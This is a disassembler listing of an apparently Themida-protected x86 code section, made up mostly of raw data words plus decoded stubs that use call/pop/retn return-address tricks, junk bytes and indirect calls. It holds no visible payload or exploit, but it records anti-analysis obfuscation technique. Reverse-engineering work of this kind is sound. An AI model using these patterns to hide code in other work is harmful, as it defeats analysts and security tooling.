dd 0B529D0FFh, 6152665h, 0F56006Ah, 84h, 95FF5A00h, 6152669h
dd 478589F9h, 0E90617FEh, 6, 3FA4349Eh, 6AF9FA9Eh, 3F858D00h
dd 0F0617FEh, 586h, 0E7816600h, 66506FD7h, 6A8F68B9h, 0D9BD8B04h
dd 8D061507h, 150B8D85h, 3D953106h, 0F06152Ah, 0B8Bh, 85896000h
dd 61511A1h, 61F3BF0Fh, 8D0B5150h, 6151D9Dh, 52006A59h
dd 6A5FD78Bh, 0D7B70F00h, 0C980016Ah, 0DD8501E7h, 0FF061501h
dd 17FE47B5h, 0A8D0F06h, 60000000h, 0E40695BEh, 0F38B661Eh
dd 0F8B70F61h, 97D95FFh, 0D78B0615h, 1BE2E9F5h, 0C08B0000h
dd 8F5BD83h, 75000615h, 0ADBD8309h, 61503h, 53501974h
dd 0D2B8C08Bh, 89000007h, 15138585h, 9E9D8D06h, 0FF0617AAh
dd 83585BD3h, 1503ADBDh, 17740006h, 0D2B85350h, 89000007h
dd 15138585h, 8D9D8D06h, 0FF0617A7h, 0F585BD3h, 68Eh, 0CD958B00h
dd 0E9061527h, 6, 3ABEAB4Eh, 890FA84Ah, 2, 12E92AB2h, 0AF000000h
dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0CA8D2A7Dh, 89C08BBFh
dd 15189DB5h, 0B585C706h, 106152Dh, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 6A5EC355h, 8169C1C7h, 81CB9293h, 0CFE551EFh, 49BD330Bh
dd 68061503h, 0CEE4E7B8h, 1789B5FFh, 858D0615h, 6153B38h
dd 8589D0FFh, 615221Dh, 0A3858Dh, 8D500618h, 18036085h
dd 1685006h, 0FF800000h, 15221D95h, 75C00B06h, 4185C70Ah
dd 106152Ah, 68000000h, 0C005DBD4h, 1789B5FFh, 858D0615h
dd 6153B38h, 8589D0FFh, 6152391h, 0F2F0858Dh, 0FF500617h
dd 151685B5h, 1D95FF06h, 0B06150Eh, 8B0B74C0h, 0A3858DD8h
dd 50061802h, 858DD3FFh, 61802A3h, 9388366h, 85C70A75h
dd 615295Dh, 1, 16DD95FFh, 0FF250615h, 83000000h, 0A7305F8h
dd 216985C7h, 10615h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0EE061EC3h, 0EB0F955Ch
dd 0E2F680D6h, 4AD9523h, 93B20615h, 0FEB2BD80h, 0F000617h
dd 4E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0B78FFA97h, 0F5D91D5h, 1689h, 11E900h
dd 44820000h, 0DFFF6556h, 0D6E94A85h, 5AC12607h, 83240A96h
dd 18035CBDh, 840F0006h, 0Dh, 0E9FE8B66h, 19E4h, 0CFB70F51h
dd 5DBD8359h, 61529h, 0DF850Fh, 85010000h, 615002Dh, 0FE7C858Dh
dd 0C9810617h, 1DFCA11Ah, 0CBBF0F50h, 8B66016Ah, 0E8006AFEh
dd 14h, 96DDD959h, 0F41E8FEBh, 62B2C6Eh, 254E891h, 633D326Eh
dd 19850Fh, 14E90000h, 57000000h, 90F3CC98h, 0C100D504h
dd 0D51E7EECh, 5649D822h, 5935A8D0h, 95FF006Ah, 615339Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DEC35141h
dd 897257B9h, 17FEA685h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 1F06061h, 0C5A5550Ah
dd 0FF6A4BA1h, 33B59D89h, 0B5FF0615h, 617FEA6h, 95FF9FB5h
dd 61508BDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 0EC35242h, 51BF66B4h, 0B7858D39h, 600617F2h, 61FFB70Fh
dd 8E85250h, 1B000000h, 24F01DD5h, 0FB65FB8h, 86h, 0FF5A5F00h
dd 1507D595h, 0A1CBA06h, 85892F26h, 617F341h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 98C35242h, 0C06D0CFDh
dd 0BF0F25A3h, 0C4858DCEh, 0E90617F2h, 0Ah, 0FA54C0A8h
dd 0D52B31AEh, 895088ADh, 150949BDh, 41B5FF06h, 660617F3h
dd 0B1D3C781h, 0E1D95FFh, 6A0615h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 9B6B68C3h, 0A70DA023h, 89CD3F69h, 15185D85h, 32858D06h
dd 0F0617F3h, 28Eh, 50CF8B00h, 26158D89h, 0B5FF0615h, 617F341h
dd 619589h, 95FF0615h, 6150E1Dh, 8589EE8Ah, 617F355h, 13E9h
dd 774C8600h, 0D8CC0F20h, 24C0D843h, 8D815B08h, 720B54AFh
dd 0F311858Dh, 958B0617h, 61511ADh, 60B96660h, 0B506125h
dd 15098995h, 41B5FF06h, 0F0617F3h, 0B83h, 5820F00h, 66000000h
dd 1D52F281h, 0E1D95FFh, 6A0615h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 962984C3h, 0FF9045Fh
dd 8589F9B7h, 617F34Dh, 0F304858Dh, 90B20617h, 8E950h
dd 84D10000h, 1901D176h, 0B5FF03A2h, 617F341h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2BC35141h, 9D18D89h
dd 95FF0615h, 6150E1Dh, 11658D33h, 85890615h, 617F351h
dd 2B058D8Bh, 858D0615h, 617F31Fh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 9EC35747h, 5EDD9155h, 50FAB70Fh
dd 0FFFFED80h, 17F341B5h, 0F1858906h, 0FF06152Ch, 150E1D95h
dd 0F88B6606h, 5CD8589h, 6A0615h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 5A596EC3h, 2830FFEh
dd 0B2000000h, 75950367h, 8D06151Dh, 17F2D385h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0ED08F60Fh, 0FDBD695h, 683h, 2DBD8900h, 8106152Fh, 910308DAh
dd 8D31507Eh, 6150385h, 0F341B5FFh, 9DB90617h, 0FF3F4E76h
dd 150E1D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 68BF5759h, 890F05B0h, 17F34585h
dd 8B665106h, 858D59CAh, 617F2E2h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0E6C35343h, 0E0171F47h, 0DAD586D9h
dd 226D8D89h, 6A500615h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 4C7EC352h, 53F20ECFh
dd 0F7127BCh, 0B5FFCEBFh, 617F341h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0D8C35040h, 69958BD6h, 89061527h
dd 1512B5BDh, 1D95FF06h, 0B606150Eh, 498589EEh, 0F80617F3h
dd 10468h, 70E78100h, 8D3DE800h, 17F3D985h, 8D8B5106h
dd 61533D1h, 95295059h, 6151575h, 0F4DD858Dh, 6A0617h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 0B172FDC3h, 56F0FF30h, 84B0EA81h, 81666856h, 5070BEDFh
dd 960CBA66h, 4B195FFh, 8D030615h, 6151CDDh, 0FC085F5h
dd 685h, 1D8D8B00h, 80061530h, 17FEB2BDh, 850F0006h, 44h
dd 11E9h, 2D941000h, 0D93F155Fh, 9345C10Bh, 418779D6h
dd 21E95418h, 6A000015h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 66C7C352h, 0D823D3E8h
dd 9529A8A0h, 61521E1h, 295DBD83h, 0F000615h, 2F85h, 9E900h
dd 0DFD30000h, 4DA9BA09h, 83E294AFh, 18035CBDh, 840F0006h
dd 7Ch, 0BE8h, 0C6AB3600h, 296CECEFh, 6487E6AEh, 5A8FF680h
dd 0F376858Dh, 0E9520617h, 10h, 4ACC41F3h, 0D33E63AAh
dd 0C4E4F2B9h, 0B66D5272h, 149AE95Ah, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0E9E06FC3h, 36h, 19F18531h, 12E80615h, 0E8000000h, 1B3EDB50h
dd 615BA846h, 0BBF2A698h, 400D5BC4h, 75BD2931h, 5F061511h
dd 0F361858Dh, 8F0F0617h, 6, 1199958Bh, 0E9500615h, 7
dd 9AA9619Ah, 8DAB2206h, 17F3D985h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 43101100h
dd 0B26CDFD0h, 8D890731h, 6152AE5h, 0BD83F950h, 615295Dh
dd 14840F00h, 89000000h, 151A05BDh, 0FF858D06h, 0FC0617F4h
dd 11E9h, 8DEE8A00h, 17F4E885h, 3800F06h, 80000000h, 8050EFF1h
dd 858DD5D2h, 617F537h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 87C35343h, 8945CA13h, 152B259Dh, 15830F06h
dd 0E9000000h, 10h, 2128AE13h, 5A803F06h, 0F050178Fh, 0FF221291h
dd 5950150h, 0FF061510h, 152F2995h, 758D8B06h, 83061517h
dd 958B10C4h, 615073Dh, 12E9h, 0B1329A00h, 0AC4E48F0h
dd 0CD2F135Ah, 11AC9B96h, 8BD8CB24h, 5958BC0h, 8306150Ah
dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h
dd 7D3B8C0h, 85890000h, 6151385h, 0AA9E9D8Dh, 0D3FF0617h
dd 0BD83585Bh, 61503ADh, 50177400h, 7D3B853h, 85890000h
dd 6151385h, 0A78D9D8Dh, 0D3FF0617h, 8053585Bh, 805FFACAh
dd 0C08BACC5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 0D4C35242h, 0C37F10FDh, 8FC3526h, 0F7816623h, 0BD81C5FFh
dd 617F361h, 6165726Fh, 0A1840Fh, 858D0000h, 617F3D9h
dd 16858D50h, 500617F5h, 0F537858Dh, 0FF500617h, 152F2995h
dd 0CC48306h, 9C585C6h, 68440615h, 96A3184Fh, 1685B5FFh
dd 858D0615h, 6153B38h, 0D88BD0FFh, 0F537858Dh, 0FF500617h
dd 61858DD3h, 500617F3h, 0F3D9858Dh, 83500617h, 15295DBDh
dd 8740006h, 0F4FF858Dh, 6EB0617h, 0F4E8858Dh, 8D500617h
dd 17F53785h, 95FF5006h, 6152F29h, 0B910C483h, 53881ECh
dd 0DF99529h, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0FFF815C3h, 1516DD95h, 11E906h
dd 663E0000h, 76B48FE1h, 0EEF36281h, 63E2A867h, 66E37676h
dd 0AE50EF81h, 0FF25h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 658D89C3h, 8306152Fh
dd 830F05F8h, 50h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 0C5C35040h, 0A79F0013h, 6985C72Bh, 1061521h
dd 8B000000h, 15178DBDh, 95858D06h, 8B0617F3h, 150655BDh
dd 8BE906h, 0CEB60000h, 6870Fh, 0BD8B0000h, 61524B1h, 295DBD83h
dd 0F000615h, 5E84h, 8F18100h, 8D42490Ch, 17F3C085h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 10C602BCh, 3B9CB9AEh, 3AE92F1Ah, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 75EC356h, 1F0C877Eh, 9614E582h, 8DD08B66h, 17F3A285h
dd 6870F06h, 23000000h, 150BB995h, 0D5858906h, 6A0617F3h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 0A858C356h, 0C1B9D08Dh, 0D78166EBh, 0BD83D61Fh
dd 615295Dh, 15850F00h, 0B6000000h, 5CBD83A1h, 61803h
dd 11840Fh, 950B0000h, 6150831h, 10ABE9h, 1DBD8900h, 0E9061515h
dd 4EEh, 8BCEB70Fh, 81FC60C0h, 0CA7C46DEh, 0BD836157h
dd 61508F5h, 83097500h, 1503ADBDh, 19740006h, 0C08B5350h
dd 7D4B8h, 85858900h, 8D061513h, 17AA9E9Dh
dd 5BD3FF06h, 0ADBD8358h, 61503h, 53501774h, 7D4B8h, 85858900h
dd 8D061513h, 17A78D9Dh, 5BD3FF06h, 0ADF28058h, 0CDB58B60h
dd 0B061520h, 1520D5B5h, 0C08B6106h, 8880Fh, 8B510000h
dd 1517FDBDh, 3F685906h, 81000F00h, 0E77297CAh, 6A006A6Ch
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 37BC357h, 6AF5B4h, 2CC18166h, 0CD9D8994h
dd 0FF061516h, 15185D95h, 958B6006h, 6150465h, 28D0Fh
dd 56B70000h, 0FC08561h, 1485h, 0FE900h, 96C10000h, 0F6E35487h
dd 0B73A9D84h, 0E8B26D96h, 5985897Fh, 6A0617F3h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 0CFEBC351h, 38E895B7h, 6AF98BF1h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 9E3468EAh
dd 0B1885141h, 818D892Eh, 89061509h, 1511519Dh, 6A006A06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0D5D5C353h, 689F9BB7h, 0C9818B93h, 4BAB52C9h
dd 1459958Bh, 6A0615h, 6AFE8Bh, 910056BAh, 66006A23h, 858DFB8Bh
dd 617F537h, 71B860FCh, 60716F68h, 0E9F6BF0Fh, 7, 0A7F4DD17h
dd 6127C866h, 958B5061h, 6150981h, 0BF0F016Ah, 0E8016ACAh
dd 0Ch, 1CD5383Ch, 0AA389BC2h, 8D4A41C9h, 12E9h, 0AAAF4300h
dd 0A125B356h, 26A9252Bh, 0D40C8E43h, 5F54D4A0h, 6A016Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0A8AE93C3h, 68D38B73h, 0F01FFh, 13E9h, 0B5EC8600h, 0CF5B1ECCh
dd 42F5EA27h, 0D173F1ECh, 0F78B0874h, 1A2EBA66h, 295DBD83h
dd 0F000615h, 6684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 303BE573h, 6D7D9D99h
dd 858DC707h, 617F3B6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 68C35343h, 0F6DB58Fh, 8B158CB3h, 19E9CAh
dd 0CE90000h, 0C2000000h, 0E242DBB4h, 0B3A438C5h, 8D6F49F3h
dd 17F38C85h, 50D68B06h, 2F61B589h, 0E6800615h, 0E3BF5053h
dd 0FF6C5FCDh, 17F359B5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 8DD4974Ch
dd 25958944h, 0FF061511h, 17F34595h, 0BF60F806h, 162F773Dh
dd 3DA8B966h, 0FC08561h, 0E85h, 0B7C98000h, 5FE9h, 45BD8900h
dd 8906152Bh, 17F35D85h, 2D9D8906h, 0FF061502h, 17F35DB5h
dd 7EF28106h, 0FF4EAEDDh, 1505CD95h, 8D8B5006h, 6150245h
dd 0D5BD8B59h, 8506151Dh, 25850FC0h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 867AC356h, 95237A30h, 6152C51h, 810F106Ah, 6, 16F59D89h
dd 0BD830615h, 615295Dh, 36840F00h, 0F5000000h, 858DCE8Bh
dd 617F3B6h, 26818D0Bh, 2EE90615h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 89FAC350h, 15172595h, 8C858D06h, 810617F3h, 3D045FD1h
dd 0E9525066h, 0Ch, 7898F354h, 9539518h, 1A097F96h, 59B5FF5Fh
dd 0F0617F3h, 386h, 88D28000h, 0BE6AC981h, 95FF0F87h, 617F351h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ACC35343h
dd 0B1958B60h, 8B061533h, 152A9D95h, 0C0856106h, 7850Fh
dd 0B5310000h, 61520CDh, 5D8589FCh, 810617F3h, 3131E4F1h
dd 6A006A33h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 266BC357h, 9A4D026Dh, 8B607722h
dd 15239985h, 61605306h, 9D896159h, 61525B9h, 3419D09h
dd 6A0615h, 3445958Bh, 0B5FF0615h, 617F35Dh, 831B589h
dd 95FF0615h, 617F349h, 156D8589h, 0C0850615h, 3B850Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 0E36325C3h, 0B3D3F837h, 6052FAF0h, 551B589h
dd 0B0600615h, 2BBF66BFh, 81616129h, 0C486F5D2h, 5DB5FF7Ah
dd 800617F3h, 95FF18DEh, 61505CDh, 2965BD2Bh, 5E90615h
dd 23000000h, 0CCAEAFA7h, 850FC085h, 2, 6AF08Ah, 8182A4BFh
dd 806865h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 6DB210C3h, 4C70BF66h, 8E8h, 15B11100h
dd 9B94871h, 13E98Ch, 8C870000h, 761A8E29h, 58139D9Fh
dd 0EA1BA201h, 0B531B021h, 36A5AFFh, 1C7DB529h, 6A0615h
dd 6A23B5h, 0BA42EA81h, 68605Fh, 52C00000h, 0FE9h, 355E5900h
dd 63C5AF24h, 71D07543h, 52EA32BDh, 0D5B5FF5Ah, 600617F3h
dd 10E9h, 4AA57800h, 0A954989h, 0F2573961h, 0DB74BA82h
dd 6880F02h, 0F000000h, 86h, 95FF6100h, 61510F9h, 0FFF883F9h
dd 471850Fh, 60600000h, 61F1B70Fh, 21519529h, 0FF610615h
dd 17FE4385h, 0CA8B6606h, 141DBD8Bh, 0BD830615h, 617FE43h
dd 3E840F02h, 89000003h, 152CD58Dh, 3B858D06h, 60005B24h
dd 85D8D8Bh, 8D890615h, 6152C81h, 8BD0FF61h, 15059995h
dd 8E858D06h, 8B005B1Eh, 150681BDh, 36D18006h, 0BD8BD0FFh
dd 6152695h, 0FE9h, 6DB6F300h, 12C53CD2h, 2BC0A5CEh, 989E6DCAh
dd 8D0FC08Bh, 1, 0BD83F5F9h, 61508F5h, 83097500h, 1503ADBDh
dd 19740006h, 0C08B5350h, 7D8B8h, 85858900h, 8D061513h
dd 17AA9E9Dh, 5BD3FF06h, 0ADBD8358h, 61503h, 53501774h
dd 7D8B8h, 85858900h, 8D061513h, 17A78D9Dh, 5BD3FF06h
dd 75958B58h, 8A061511h, 0A98529F3h, 8B061524h, 0A19529C0h
dd 8B061511h, 150A11BDh, 3F6806h, 70BF000Fh, 5633B650h
dd 15FCB966h, 89006A5Ah, 150A8D9Dh, 6A006A06h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0DF4AC357h, 3B9966E6h, 185D95FFh, 0D7810615h, 53FA49Dh
dd 5E9C085h, 0F3000000h, 85DCF414h, 0C8F0Fh, 7E90000h
dd 0EA000000h, 5BDC0282h, 858953E5h, 617F359h, 0F085B966h
dd 0F01FF68h, 0EDBD2B00h, 8306150Ch, 15295DBDh, 840F0006h
dd 2Dh, 6830Fh, 8D890000h, 6150D19h, 0F3B6858Dh, 0BD8B0617h
dd 6150079h, 0E5BD8Bh, 2CE90615h, 60000000h, 26BDB58Bh
dd 0CF8B0615h, 8C858D61h, 6A0617F3h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 50D8C353h
dd 880Fh, 0B5FF0000h, 617F359h, 68B0Fh, 85090000h, 61506F1h
dd 0FFD78B66h, 17F35195h, 0C58D0306h, 89061522h, 17F35D85h
dd 80526006h, 8B5EE6E7h, 85C761D7h, 6151881h, 0
; ---------------------------------------------------------------------------
mov di, 0CC58h
xor di, 0AEAEh
cmp dword ptr [ebp+617F35Dh], 0
jz loc_5AC28E
pusha
jmp loc_5AC156
; ---------------------------------------------------------------------------
dd 4D68E934h, 66C229F8h, 8878A87Dh
db 7Eh, 82h
; ---------------------------------------------------------------------------
loc_5AC156: ; CODE XREF: Themida_:005AC143j
popa
lea eax, [ebp+617F63Bh]
or [ebp+6150D1Dh], ebx
push eax
mov dx, 18D2h
push 1
add [ebp+61501FDh], eax
push dword ptr [ebp+617F35Dh]
call dword ptr [ebp+617F355h]
mov [ebp+6151005h], esi
push dword ptr [ebp+617F35Dh]
mov edi, [ebp+6153479h]
call dword ptr [ebp+61505CDh]
mov [ebp+6152EC9h], edi
push 0F01FFh
mov edi, [ebp+6151A31h]
cmp dword ptr [ebp+615295Dh], 0
jz loc_5AC20B
jno loc_5AC1DF
call sub_5AC1D1
out 0E6h, al
iret
; ---------------------------------------------------------------------------
dd 0E68ABBF8h, 0DAB4037Bh, 0B371AE3Ah, 0BA2114CEh
db 11h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5AC1D1 proc near ; CODE XREF: Themida_:005AC1B8p
jmp sub_5AC1DE
sub_5AC1D1 endp
; ---------------------------------------------------------------------------
and ecx, [eax+42DD6DA3h]
inc esp
xchg eax, esi
; =============== S U B R O U T I N E =======================================
sub_5AC1DE proc near ; CODE XREF: sub_5AC1D1j
pop edi
loc_5AC1DF: ; CODE XREF: Themida_:005AC1B2j
lea eax, [ebp+617F3B6h]
movzx edi, bx
jmp loc_5AC214
; ---------------------------------------------------------------------------
db 8Bh, 0BDh, 1Dh
dd 0E8061530h, 12h, 7094B5C4h, 5CEB2E3h, 663BC382h, 44748D84h
; ---------------------------------------------------------------------------
rcl byte ptr [esi], 1
pop ecx
loc_5AC20B: ; CODE XREF: Themida_:005AC1ACj
lea eax, [ebp+617F38Ch]
movsx ecx, bx
loc_5AC214: ; CODE XREF: sub_5AC1DE+Aj
push eax
mov cx, dx
push dword ptr [ebp+617F359h]
mov [ebp+6150BB9h], ebx
call dword ptr [ebp+617F351h]
mov di, 85C5h
mov edi, 253DB0C2h
mov [ebp+617F35Dh], eax
push 0
push eax
call sub_5AC244
and [eax-3Dh], bl
sub_5AC1DE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5AC244 proc near ; CODE XREF: sub_5AC1DE+5Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5AC244 endp
; ---------------------------------------------------------------------------
dd 0BFBB6B48h, 31F9AE3Dh, 15155185h, 5DB5FF06h, 660617F3h
dd 6EDAEA81h, 0F34D95FFh, 9D310617h, 6150161h, 0F35DB5FFh
dd 95030617h, 61519B9h, 5CD95FFh, 0BA660615h
; ---------------------------------------------------------------------------
leave
inc ebp
loc_5AC28E: ; CODE XREF: Themida_:005AC13Cj
jmp near ptr dword_5AB1B8+7CFh
; ---------------------------------------------------------------------------
mov dh, 0Ah
push dword ptr [ebp+617FEA6h]
push 0
push esi
call sub_5AC2A6
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC2A6 proc near ; CODE XREF: Themida_:005AC29Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5AC2A6 endp
; ---------------------------------------------------------------------------
mov ds:7EB47740h, eax
push ss
call dword ptr [ebp+61502C9h]
xor di, 0F2F2h
mov eax, [ebp+6150489h]
mov ecx, edi
mov [ebp+61509D9h], ecx
jmp loc_5AC832
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5AC2E5
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC2E5 proc near ; CODE XREF: Themida_:005AC2DDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5AC2E5 endp
; ---------------------------------------------------------------------------
db 65h, 0BBh, 0E1h
; ---------------------------------------------------------------------------
dec edx
lodsd
mov edi, [ebp+61517E9h]
lea esi, [ebp+617F65Bh]
mov edi, 0A3D5FCDh
mov [ebp+6150A8Dh], ebx
lea eax, [ebp+617A3E1h]
mov cx, 27CCh
call eax
cld
ja loc_5AC32A
mov [ebp+6152389h], ecx
loc_5AC32A: ; CODE XREF: Themida_:005AC31Ej
push 0
push 0
push esi
call sub_5AC337
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC337 proc near ; CODE XREF: Themida_:005AC32Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5AC337 endp
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
push ds
db 2Eh
push ds
inc ebp
call dword ptr [ebp+6152669h]
or [ebp+6153475h], eax
mov esi, ebx
movsx edi, di
lea eax, [ebp+617A3E1h]
mov edi, [ebp+6152D29h]
call eax
mov [ebp+6151005h], eax
push 0
push 0
push ebx
call sub_5AC37E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC37E proc near ; CODE XREF: Themida_:005AC376p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5AC37E endp
; ---------------------------------------------------------------------------
dw 62D4h
dd 2BF303C8h, 15165D95h, 6995FF06h, 8B061526h, 7EF281C0h
dd 831E693Ch, 1508F5BDh, 9750006h, 3ADBD83h, 74000615h
dd 8B535019h, 7D9B8C0h, 85890000h, 6151385h, 0AA9E9D8Dh
dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h, 7D9B853h
dd 85890000h, 6151385h, 0A78D9D8Dh, 0D3FF0617h, 8BF9585Bh
dd 15020595h, 0BD8B6006h, 6151929h, 6D1BD23h, 8B610615h
dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 0DCE77BFAh, 0DCF2C10Eh, 38C0Fh, 0BF0F0000h
dd 810F60CBh, 2, 8531D2B5h, 6151791h, 840F5061h, 3, 8BF88B66h
dd 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 9D8D5390h, 61505E1h, 389038Bh, 8950438Bh
dd 9D8D5043h, 617FE3Fh, 389038Bh, 55006A5Bh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 9E8770B8h
dd 0EF8A8D32h, 4C98D8Bh, 0D08B0615h, 6AD78Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7C35141h, 9E92CC89h
dd 8D354FD7h, 17FE3F85h, 0F41BA06h, 6A502CBCh, 0F18D8B60h
dd 8B061512h, 0E1858DCFh, 8B061505h, 15035DBDh, 0F7E18006h
dd 918D8950h, 6A06152Fh, 0BF665300h, 0B15A5D59h, 66006A9Bh
dd 875BE281h, 180068h, 0A59D0100h, 5306151Ch, 6ABF66h
dd 97D95FFh, 0BF0F0615h, 0CD95FFD3h, 8B06150Dh, 15098195h
dd 0A6B5FF06h, 6A0617FEh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 49E8C355h, 0FA26DC6h
dd 0C995FF3Eh, 6A061502h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 1490C356h, 77FAAFD3h
dd 0AC58509h, 14E90615h, 9B000000h, 1B200387h, 0D17C6D10h
dd 7DA828AFh, 0F3C1F14Ah, 8DEEBEF7h, 1505E185h, 8BCB8B06h
dd 0B5891840h, 6152AEDh, 20D85C7h, 615h, 0CA8B0000h, 295DBD83h
dd 0F000615h, 2E84h, 0A1BD8B00h, 3D061504h, 8Ch, 187830Fh
dd 0B5890000h, 6150DF1h, 23E9h, 0DE900h, 72400000h, 0C9753296h
dd 5F1B3DDAh, 3DE9B5F3h, 98h, 15F830Fh, 0CA810000h, 62B1236Ch
dd 243B858Dh, 9503005Bh, 6151C9Dh, 0F180D0FFh, 8E858D94h
dd 0E9005B1Eh, 13h, 6B36668Dh, 3E60AFD9h, 7B966D32h, 81059753h
dd 0FF396217h, 0C08BFCD0h, 2D958B56h, 5A061502h, 8F5BD83h
dd 75000615h, 0ADBD8309h, 61503h, 53501974h, 0C6B8C08Bh
dd 8900000Bh, 15138585h, 9E9D8D06h, 0FF0617AAh, 83585BD3h
dd 1503ADBDh, 17740006h, 0C6B85350h, 8900000Bh, 15138585h
dd 8D9D8D06h, 0FF0617A7h, 0E8585BD3h, 10h, 0E79AC0AEh
dd 0F1D4EBC5h, 0A1CBDBABh, 738C7191h, 252CD281h, 895A10BFh
dd 152EE995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 0F35D1C2h, 0C08BD1B7h, 0BD895957h
dd 615189Dh, 0FFFF883h, 2F85h, 1D858900h, 0C7061516h, 1521B985h
dd 6, 0C890F00h, 0F000000h, 68Bh, 0E9858900h, 0E9061504h
dd 0F8h, 0E9F88B66h, 42h, 0F01F883h, 3985h, 0A5B66000h
dd 0FA8B6660h, 1E9B509h, 61610615h, 0F5E9h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0EF7D573Ah, 257DBD33h, 20E90615h, 8BFFFFF2h, 15004D95h
